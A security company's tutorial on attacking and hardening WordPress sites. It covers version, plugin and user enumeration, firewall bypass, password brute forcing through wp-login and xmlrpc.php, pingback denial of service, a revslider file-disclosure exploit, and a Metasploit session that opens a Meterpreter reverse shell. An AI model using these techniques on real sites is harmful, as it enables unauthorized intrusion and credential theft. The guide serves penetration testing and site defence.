Attacking & Securing WordPress

Learn the tips and techniques used to attack and break into WordPress based websites. With knowledge of these hacker techniques, you will be better prepared to keep your sites secure.

Penetration testers or red teams wishing to exploit WordPress targets will also find helpful pointers in this guide.


Introduction to WordPress Security

WordPress is the application behind more than 30% of all websites. Its ease of use and open source base are what make it such a popular solution. The number of installs continues to grow; there are now an estimated 75 million WordPress sites. This popularity makes it a target for bad guys aiming to use a compromised web server for malicious purposes.

By providing details of attack techniques we aim to raise awareness about the need for good maintenance and security monitoring of WordPress.

There are very good guides on securing a WordPress installation available. This article does not intend to repeat those. To get started securing a WordPress install, try the excellent guide on or this comprehensive guide on the OWASP site.

Keep in mind, in a managed WordPress hosting service, some of these attacks (and mitigations) will be the responsibility of the hosting provider. If you are self hosting, then security and maintenance are your responsibility. Ready to start? Let's grab our hoodie and start hacking.

Using these attack techniques and tools against systems you do not own or have permission to test is illegal in most jurisdictions. This article is for educational purposes and to raise awareness about the need for proactive security.

Enumerating WordPress

Put yourself in the Attackers' mindset. The first thing we want to do is discover as much technical information regarding the site configuration as we can. This will help us when we move onto the actual attacking or exploitation phase.

Enumeration or reconnaissance can be conducted stealthily using regular web requests to gather technical information about the site. Or it can be performed more aggressively by brute forcing web paths to detect the presence of plugins and themes. To begin with, we want to get an idea of how well maintained the site is. Determining whether the site is running the latest WordPress core version is a good start.

WordPress Core Version Enumeration

Three simple methods can be used to determine the core version of WordPress.

Meta Generator

Check the HTML source of the page for a meta generator tag in the HEAD section of the HTML source.

This example is taken from the source of a default WP install of version 3.5.2 and twenty twelve theme. From the source HTML:

<meta name="generator" content="WordPress 3.5.2" />

Version in readme.html

If the meta tag has been disabled, check for the presence of /readme.html from root of the install. Early versions of WordPress had the version right there at the top of the ReadMe file, newer versions of WordPress have removed the version from the file.

Version in HTML source of site

In the HTML source, the version is often appended as a parameter on links to javascript and css resources that the page is loading.

Depending on the plugin, this will not always be the case, and sites that have minified js and css may not have these information leaks present.

Security Vulnerabilities in WordPress Core

An attacker finds a site with an older WordPress Core version, and as a result, this may be directly exploitable via a security vulnerability in the WordPress core. And, it is a clear indication the site is not being well maintained.

In a poorly managed site other components (plugins / themes) may not have been updated. Consequently, the chance of a successful attack has increased considerably.

WordPress Plugin (and version) Enumeration

During WordPress Plugin Enumeration we attempt to find as many installed plugins as we can (even those that are disabled). Knowing the installed WordPress plugins may allow us to identify the version, and research whether it is vulnerable to known exploits.

  • Passive analysis can be used to find plugins through regular HTTP requests to the WordPress site.
  • Active enumeration is more aggressive and usually involves using a script or tool to perform hundreds or even thousands of mostly invalid HTTP requests.

Reading through the HTML source of the WordPress site can reveal installed plugins through javascript links, comments and resources such as CSS that are loaded into the page. These are the easiest plugins to discover and require no aggressive testing of the target site. Even the HTTP headers can reveal information, such as the X-Powered-By header that reveals the presence of the W3-Total-Cache plugin.

Some plugins do not leave traces in the HTML source. To find all the installed plugins you have to be more aggressive. A number of tools can brute force known plugin lists from the path /wp-content/plugins/ * plugin to test * /. The web server response will usually reveal valid directories (often with HTTP 403) as opposed to unknown directories on the web server with its HTTP response code.

Once you have a list of plugins that are present on the site, your WordPress scanner or manual requests can be used to determine the version of the plugin.


In the readme.txt we can see the version of the plugin. Compare this against known exploits and we can get a good idea if the site is vulnerable without actually throwing the exploit.

WordPress Theme Enumeration

As with plugins, WordPress themes can contain vulnerabilities that might expose the site to compromise. Themes are collections of PHP code with HTML and CSS resources. More complex themes have more included components and are more likely to introduce security vulnerabilities.

Enumeration of the theme is conducted similarly to detecting the plugins. The theme path is often visible in the HTML of the page source. The CSS file getting loaded from the theme will often reveal the path.

With the path we have the theme name, and we can load the readme.txt to confirm the theme in use and the version.


An important consideration when testing for vulnerable WordPress Themes (and plugins) is a theme that is installed yet not active may still have code that is accessible and vulnerable. This is why brute force testing for theme paths is an important step when assessing an unknown WordPress installation.

Enumerate WordPress Users

If we can gather valid usernames, then we can attempt password guessing attacks to brute force the login credentials of the site. Getting access to an administrator account on a WordPress installation provides the attacker with a full compromise of the site, database and very often remote code execution on the server through PHP code execution.

These user enumeration techniques have been reported to as security vulnerabilities, however, the developers do not classify the user name as sensitive and are willing to accept the risk over the increased usability. Such as advising the users when the user is wrong vs the password being wrong.

Author Archives

In a default installation you should be able to find the users of a site by iterating through the user id's and appending them to the sites URL. For example /?author=1, adding 2 then 3 etc to the URL will reveal the users login id either through a 301 redirect with a Location HTTP Header


This post has a method for cycling through the WordPress users using a bash one liner.

confirm valid users with the login form

Enumerate Users through Guessing

Brute forcing the user name is possible using the login form as the response is different for a valid vs an invalid account.

This can be performed manually to check a single user or using an automated tool such as Burp Intruder to cycle through thousands of possible usernames.

Users listed in JSON API Endpoint

Using a json endpoint it may be possible to get a list of users on the site. This was restricted in version 4.7.1 to only show a user if configured, before that all users who had published a post were shown by default.


See the WordPress security testing tools below for automated user enumeration.

Directory Indexing

directory indexing enabled on plugins directory

Directory indexing is a function of the web server that allows you to view the contents of a directory in the web accessible path.

Viewing the contents of a directory allows an attacker to gather a lot of information about the installation such as installed plugins and themes without the need to brute force the paths.

To check for directory indexing you can browse to folder locations and see if you get a response that includes "Index Of" and a list of folders / files. Common locations to check would be:


If you can browse /wp-content/plugins/ - the enumeration of plugins and versions becomes much easier!

Server Vulnerability Testing

In this phase, we move into testing network services rather than direct testing of the WordPress installation. Port scanning is the standard technique for the discovery of network services running on the server.

Services that might be present on a WordPress host:

  • MySQL Server Remotely Accessible (port 3306)
  • CPANEL administration login portal (port 2082 / 2083)
  • Webmin administration (port 10000)
  • FTP service for filesystem access
  • SSH for remote control
  • Other web services with admin or other sites (port 8080 / 8888 etc)

Any of the services may allow access or control of the server through either a security vulnerability or a compromised password. Port scanning can be conducted using the excellent Nmap Port Scanner or an alternative security tool.

Carrying on from our enumeration of network services using the port scanner, we could run vulnerability scans against the discovered services to identify exploitable services or other items of interest.

OpenVAS Vulnerability Scanner

The Greenbone Vulnerability Manager (GVM) (previously known as OpenVAS) is one option, this is an open source vulnerability scanner that can be installed locally or enterprise appliances are also available from Greenbone Networks. We also host the open source OpenVAS scanner for testing internet accessible targets as part of our security testing platform.

Nikto Vulnerability Scanner

Nikto is another vulnerability scanner that focuses on the discovery of known vulnerable scripts, configuration mistakes and other web server items of interest. The Nikto tool has been around for many years yet still has a place in the penetration testers toolbox.

Tools such as this throw tens of thousands of tests against target in an attempt to discover known vulnerabilities and other low hanging fruit. It is a noisy process filling the target system logs with 404's and other errors. Not recommended if you are going after a target ninja style (pentest / red team).

Bypass Sucuri or CloudFlare Web Firewall

Many WordPress sites opt for third-party services to help protect the site from attacks by using a web-based firewall proxy. A service such as Sucuri or CloudFlare sits between the users' browser and the WordPress site. Attacks launched at the site can be detected and blocked by the firewall.

The firewall proxies the traffic by using DNS. The sites DNS is pointed at servers belonging to Sucuri or CloudFlare so the user (or attacker) will resolve the hostname and connect to the IP of the Firewall system.

If we determine the real IP address of the server and add an entry to our hosts' file, we can bypass the firewall and go directly to the webserver hosting the site. This is significant if the site is not well maintained and relying on the protection of the firewall. For example, a vulnerable plugin may be present but being blocked by the firewall. We bypass the firewall, exploit the vulnerable plugin and the server.

Checking DNS Records

Using DNS records is the most effective way of identifying the real IP address for bypassing a site hosted behind Sucuri or CloudFlare.

  • Historical DNS records may show the original IP address before the firewall service was implemented.
  • Mail Records (MX), if mail is hosted on the same server as the website then this will reveal the real host
  • TXT SPF, records might also reveal IP addresses of interest

TLS / SSL Certificate Searches

Historical TLS / SSL searches may also find real hostnames associated with the sites actual IP address if they can matched.

Other reconnaissance techniques may reveal host names and IP addresses of interest.

Once you have an IP address that you suspect could be the IP address, add it to your /etc/hosts file with the sites hostname. This will force your system to bypass DNS and go directly the IP address. If the site loads, there is a good chance this is the correct IP address.


WPScan is a popular WordPress security testing tool that ties many of these simple enumeration techniques together. Enabling users to quickly enumerate a WordPress installation, it has a commercial license restricting use for testing your own WordPress sites and non-commercial usage.

It attempts to identify users, plugins, and themes, depending on the selected command line options, and also show vulnerabilities for each of the discovered plugins.

Guide to installing WPScan

Nmap NSE Scripts for WordPress

Nmap comes bundled with NSE scripts that extend the functionality of this popular port scanner. A few of the Nmap NSE scripts are particularly helpful for enumerating WordPress users, plugins, and themes using the same techniques we have previously discussed.

The best thing about this option is, if you have Nmap installed you already have these scripts ready to go.

WordPress Plugin and Theme Enum NSE ScriptWordPress Brute Force NSE Script
WordPress User Enum NSE Script

Example Plugin and Theme Enumeration

80/tcp open  http
| http-wordpress-enum:
| Search limited to top 100 themes/plugins
|   plugins
|     akismet
|     contact-form-7 4.1 (latest version:4.1)
|     all-in-one-seo-pack  (latest version:
|     google-sitemap-generator (latest version:4.0.8)
|     jetpack 3.3 (latest version:3.3)
|     wordfence 5.3.6 (latest version:5.3.6)
|     better-wp-security 4.6.4 (latest version:4.6.6)
|     google-analytics-for-wordpress 5.3 (latest version:5.3)
|   themes
|     twentytwelve
|_    twentyfourteen


Another tool for enumeration of WordPress installations is CMSMap.

CMSMap tests WordPress as well as Joomla, Drupal, and Moodle.

As with any of these enumeration tools, it is crucial to keep it up to date. If the themes and plugins lists are not updated regularly, keep in mind that the latest components may not be detected.

Attacking & Exploitation

Brute Force wp-login.php Form

The most common attack against the WordPress user is brute forcing the password of an account to gain access to the back-end of the WordPress system. Other ways a password can be compromised include sniffing the password in clear text over a HTTP login session or even getting the credentials from a key logger on the workstation of the WordPress administrator.

Accounts with administrator level access are the most sought after due to the amount of mischief an admin user can get up to; adding PHP command shells or malicious javascript directly through the admin interface are common examples.

With the usernames we collected during information gathering, we can get started (or just try admin). Take a look at the login form /wp-login.php, notice how failed logins confirm the username when an incorrect password is entered. This information is helpful to an attacker. It also makes things more user friendly for the end user who has forgotten their username and password. This "feature" has been debated, and it was decided to keep this response within the WordPress code.

3 Tools for Popping Weak Passwords

Brute forcing accounts of users is possible using a number of open source tools. Additionally, there is worm like scripts available that have spread through the WordPress ecosystem. These search for and spread to WordPress sites with weak admin passwords.


The previously mentioned WPScan tool, in addition to enumeration, can also perform brute force login attacks.

Here is an example output from a test I ran with WPScan against a low end Digital Ocean VPS ($5 / month) where I had installed a default installation of WordPress.

ruby wpscan.rb -u 192.241.xx.x68 --threads 20 --wordlist 500worst.txt --username testadmin

********* SNIP ******************

[+] Starting the password brute forcer

  Brute forcing user 'testadmin' with 500 passwords... 100% complete.
[+] Finished at Thu Jul 18 03:39:02 2013
[+] Elapsed time: 00:01:16

Reviewing the Output

500 passwords tested against the 'testadmin' account (discovered during user enumeration). Those 500 passwords were tested in 1 minute and 16 seconds! As the test was running, there was zero disruption to the site. A web server administrator would have no idea the attack took place without a security log monitoring system in place, (OSSEC does this very well).

The '500 worst' password list used above is from Skull Security. The site has a large number of password lists including the well known rockyou list (60MB) that contains many more than 500 passwords!

Nmap NSE Script

Nmap, the port scanner, can do much more than find open ports. Recent versions of Nmap come bundled with NSE scripts. As a result, it can be used to test many different vulnerabilities. For example, enumerating users and brute forcing WordPress passwords.

Below shows an example run using the http-wordpress-enum NSE script to enumerate WordPress users.

nmap -sV --script http-wordpress-enum --script-args limit=25 

80/tcp open  http    syn-ack
| http-wordpress-enum: 
| Username found: admin
| Username found: testadmin
| Username found: fred
| Username found: alice
| Username found: bob
|_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-enum.limit'

Below are the results from brute forcing WordPress accounts using the http-wordpress-brute NSE script.

80/tcp   open  http    syn-ack
| http-wordpress-brute:
|   Accounts
|     testadmin:myS3curePass => Login correct
|   Statistics
|_    Perfomed 113 guesses in 19 seconds, average tps: 6

Burp Suite

For those familiar with web application security testing, the Burp Suite Intruder tool can also be used for brute-forcing WordPress passwords. A WordPress login attempt is only a HTTP POST request after all.

Configure Burp Intruder to send a valid username (or a list of usernames) along with a list of possible passwords and wait for the successful login.

Brute Force Login via xmlrpc.php

The xmlrpc.php capability is an API endpoint. This endpoint allows mobile apps, and other programmable access, to backend functions of the WordPress site, such as publishing posts. It is enabled by default. Several attacks are possible against the endpoint depending on permissions and the version of the target WordPress installation.

Using the xmlrpc.php endpoint to attack WordPress accounts, we may bypass security plugins that protect the login form from abuse. This password guessing attack may also be faster, with the result being you can attempt more passwords.

Notice the -d, In curl, this is the data sent as part of the POST request. You could also use Burp or your favorite scripting language for this request.

curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params>

In the response we will see an invalid password response or success. It is easy to spot and work into your script.

Denial of Service (DOS) via xmlrpc.php

Another use of the xmlrpc.php endpoint is to perform a denial of service attack. If this capability is enabled, we can send a small request to the server and get it to respond with a full page of content to a target of our choosing. The idea is to make multiple requests from different systems and get them all to target a single host. Potentially knocking it offline due to network congestion.

First, we enumerate the capabilities of the xmlrpc.php endpoint.

curl -X POST -d "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"

The response will be a list of available methods.

<?xml version="1.0" encoding="UTF-8"?>
**** truncated ****

Note the indicating pingback is enabled. Use the following data for the pingback attempt.


Disabling access to xmlrpc.php from your web server or using .htaccess is recommended if you are not using the API. Not only will it block any attacks, but it will also reduce the amount of noise in your logs from the bots attempting to hit these API endpoints.

Exploit WordPress Plugin

Plugins, Themes, and WordPress Core all contain a large amount of PHP code from developers around the world. These developers have differing abilities and focus when it comes to writing secure software. For this reason, there are thousands of exploitable vulnerabilities available to an attacker. Updating plugins, the WordPress core, and themes must be a routine task for any WordPress administrator to ensure the known vulnerabilities are patched.

Common vulnerabilities include XSS, SQL injection, file upload, and code execution. All of these can have devastating consequences to a WordPress site. Search through Metasploit and for exploitable WordPress bugs.

Revslider Example Exploit

An example of a WordPress plugin exploit is from a vulnerability discovered 5 years ago. The vulnerable revslider plugin resulted in tens of thousands of compromised WordPress sites. To this day, there are attempts to exploit it in our web server logs, even in 2019. One reason it was such a popular plugin is that it was bundled with many themes.

A number of exploitation opportunities are possible, but this is perhaps the easiest to demonstrate. Exploitation is as difficult as loading this URL in a browser.

The HTTP request would download the wp-config.php file from the vulnerable site if it had the exploitable version of revslider installed. The exploit type is known as a local file include, as the attacker is tricking the application code into including a sensitive file in the output. The wp-config.php is not normally accessible and contains the database credentials for the WordPress database user.

With the database password, an attacker could attempt to login as the WordPress admin using the same password (if passwords were re-used). A more common attack vector would be to login to the phpmyadmin script if installed, as this uses the database credentials. If MySQL is exposed, it may even possible to directly connect to the database using a MySQL database client and the leaked credentials.

Access to the database provides the attacker options to reset the administrator password, attempt to crack the admin hash, modify content in the database, adding malicious js or iframes. There are many possibilities for further exploitation once the credentials in wp-config.php are leaked.

Exploit WordPress Theme Example

Exploits are available from various places and forums. This example uses an exploit from the popular Metasploit Exploitation Framework. The vulnerable theme is the very popular optimizepress. The vulnerability was released back in 2013 and versions after 1.45 are not vulnerable to this exploit.

Using standard Metasploit commands, we can load the module, configure the options, select a payload and exploit. The result is shell access on the server with only a few minutes of work.

In this example, the vulnerability type is a file upload vulnerability in media-upload.php of the theme. By exploiting the vulnerability we can upload a PHP shell or other code, giving us code execution.

WordPress Metasploit File Upload Example

A key point to remember here is - identification of the plugins and themes is the first step in a targeted attack exploiting a WordPress site.

Numerous bots and automated attack scripts that exploit WordPress sites do not perform the enumeration phase. They propel exploits at thousands of sites and hope for a successful payload.

Plugins and themes not enabled can be exploited. Scanning for default locations of those vulnerable files is a highly common attack by automated bots.

Exploiting WordPress Core

Vulnerabilities in WordPress core crop up from time to time. While remote unauthenticated vulnerabilities are relatively rare, any attacker would do well to be familiar with the more exploitable vulnerabilities in WordPress Core.

The list of vulnerabilities on is a good indication and shows the severity of the discovered vulnerabilities has been much lower when compared to the state of things 5 years ago.

Example Exploiting CVE-2019-8942 & CVE-2019-8943

Using Metasploit, this example will demonstrate exploiting vulnerabilities present in WordPress versions <= 4.9.8 and WordPress 5.0.0. Using this exploit, we gain arbitrary code execution via a core vulnerability combining a Path Traversal and a Local File Inclusion. If the attacker has access to an account with at least author privileges, code execution is likely possible.

Detailed below is the standard Metasploit exploitation process using the wp_crop_rce module. The PHP Meterpreter is a remote agent giving the attacker the ability to run commands and upload / download files on the target system.

msf5 > use exploit/unix/webapp/wp_crop_rce
msf5 exploit(unix/webapp/wp_crop_rce) > set rhosts
rhosts =>
msf5 exploit(unix/webapp/wp_crop_rce) > set username author
username => author
msf5 exploit(unix/webapp/wp_crop_rce) > set password author
password => author
msf5 exploit(unix/webapp/wp_crop_rce) > run

[*] Started reverse TCP handler on 
[*] Authenticating with WordPress using author:author...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Checking crop library
[*] Uploading payload
[+] Image uploaded
[*] Uploading payload
[+] Image uploaded
[*] Including into theme
[*] Sending stage (38247 bytes) to
[*] Meterpreter session 1 opened ( -> at 2019-03-19 11:33:27 -0400

meterpreter > sysinfo
Computer    : ubuntu
OS          : Linux ubuntu 4.15.0-46-generic #49-Ubuntu SMP Wed Feb 6 09:33:07 UTC 2019 x86_64
Meterpreter : php/linux

Unauthenticated Content Injection in WordPress 4.7.0 and 4.7.1

In this vulnerability from 2017 an attacker is able to inject content into a post using the wp-json API.

WordPress 4.7/4.7.1 - Remote unauthenticated content injection

Sniff and Capture Credentials over non-secure login

Without additional security measures in place (TLS/SSL), accessing the /wp-admin/ dashboard is over an unencrypted connection. This means if you log in to your WordPress site on an unsecured network, such as the wireless at your local coffee shop or airport, your login and password to manage the site could be captured by an attacker watching your session.

In this example Wireshark capture, we clearly see the username and password captured in our POST request to wp-login.php.

WordPress Password in Wireshark Capture

Vulnerable Server Software

Testing the WordPress application itself is only one part of ensuring your web site is secure. The server that hosts the website must also be kept secure.

Exploitable security vulnerabilities can, of course, be present in server software or the operating system. Examples can be found on any vulnerability mailing list. Recently a remote code execution vulnerability was found in Exim. Exim is one of the most popular mail delivery servers on the Internet. PHPMyAdmin is a popular application to attack due to its popularity and a long list of vulnerabilities.

Server Software Misconfiguration

Even if no exploitable vulnerability is present, a simple misconfiguration can leave a service vulnerable. Often security vulnerabilities are introduced simply through a misconfiguration by an overworked system administrator.

Compromise Systems Administration Tools

A successful password guessing attack against a server management account will give an attacker full access to the server and the WordPress application.

Services that can be attacked with brute force password guessing include:

  • SSH Service
  • MySQL database service
  • Webmin Server Management
  • CPanel or WHCMS Web Hosting Control Panels
  • phpMyAdmin database management application

Reduce the chance of management account compromise:

  • Use strong passwords everywhere, do not re-use them!
  • Move SSH to a different port
  • Use TLS/SSL for web based management services to prevent sniffing and credential compromise
  • White list IP addresses that are able to connect to Internet facing services

Content Discovery

Content Discovery is the process of attempting to find items of interest in a web path. It applies to any web application, but since we are attacking WordPress, target it towards typical files and paths of interest in a WordPress installation.

For example:


These two examples use curl to find a possible backup file of the wp-config.php file that we discussed earlier. It contains sensitive information, including database credentials. The second attempt tries to download the backup file that vim automatically creates when it is editing a file. A good reason not to edit files directly on your production sites!

Using curl to perform this search task for hundreds or even thousands of common files could be accomplished with a little bit of scripting. On the other hand, more appropriate tools such as Burp Suite, or gobuster, a tool that is very fast due to its parallel processing, will do a much better job.

There are many reasons why WordPress sites are attacked. With standard maintenance you can significantly reduce the chance of an attack being successful. Do not be the low hanging fruit. Keep everything up to date, keep regular backups, perform basic hardening, and test your security regularly.

Get a Professional WordPress Assessment -  More Info
Test yourself using OpenVAS, Nikto, Nmap ++  More Info

Follow up post to this article:  Defending WordPress with OSSEC.
Tutorial on OSSEC:  OSSEC intro and installation guide.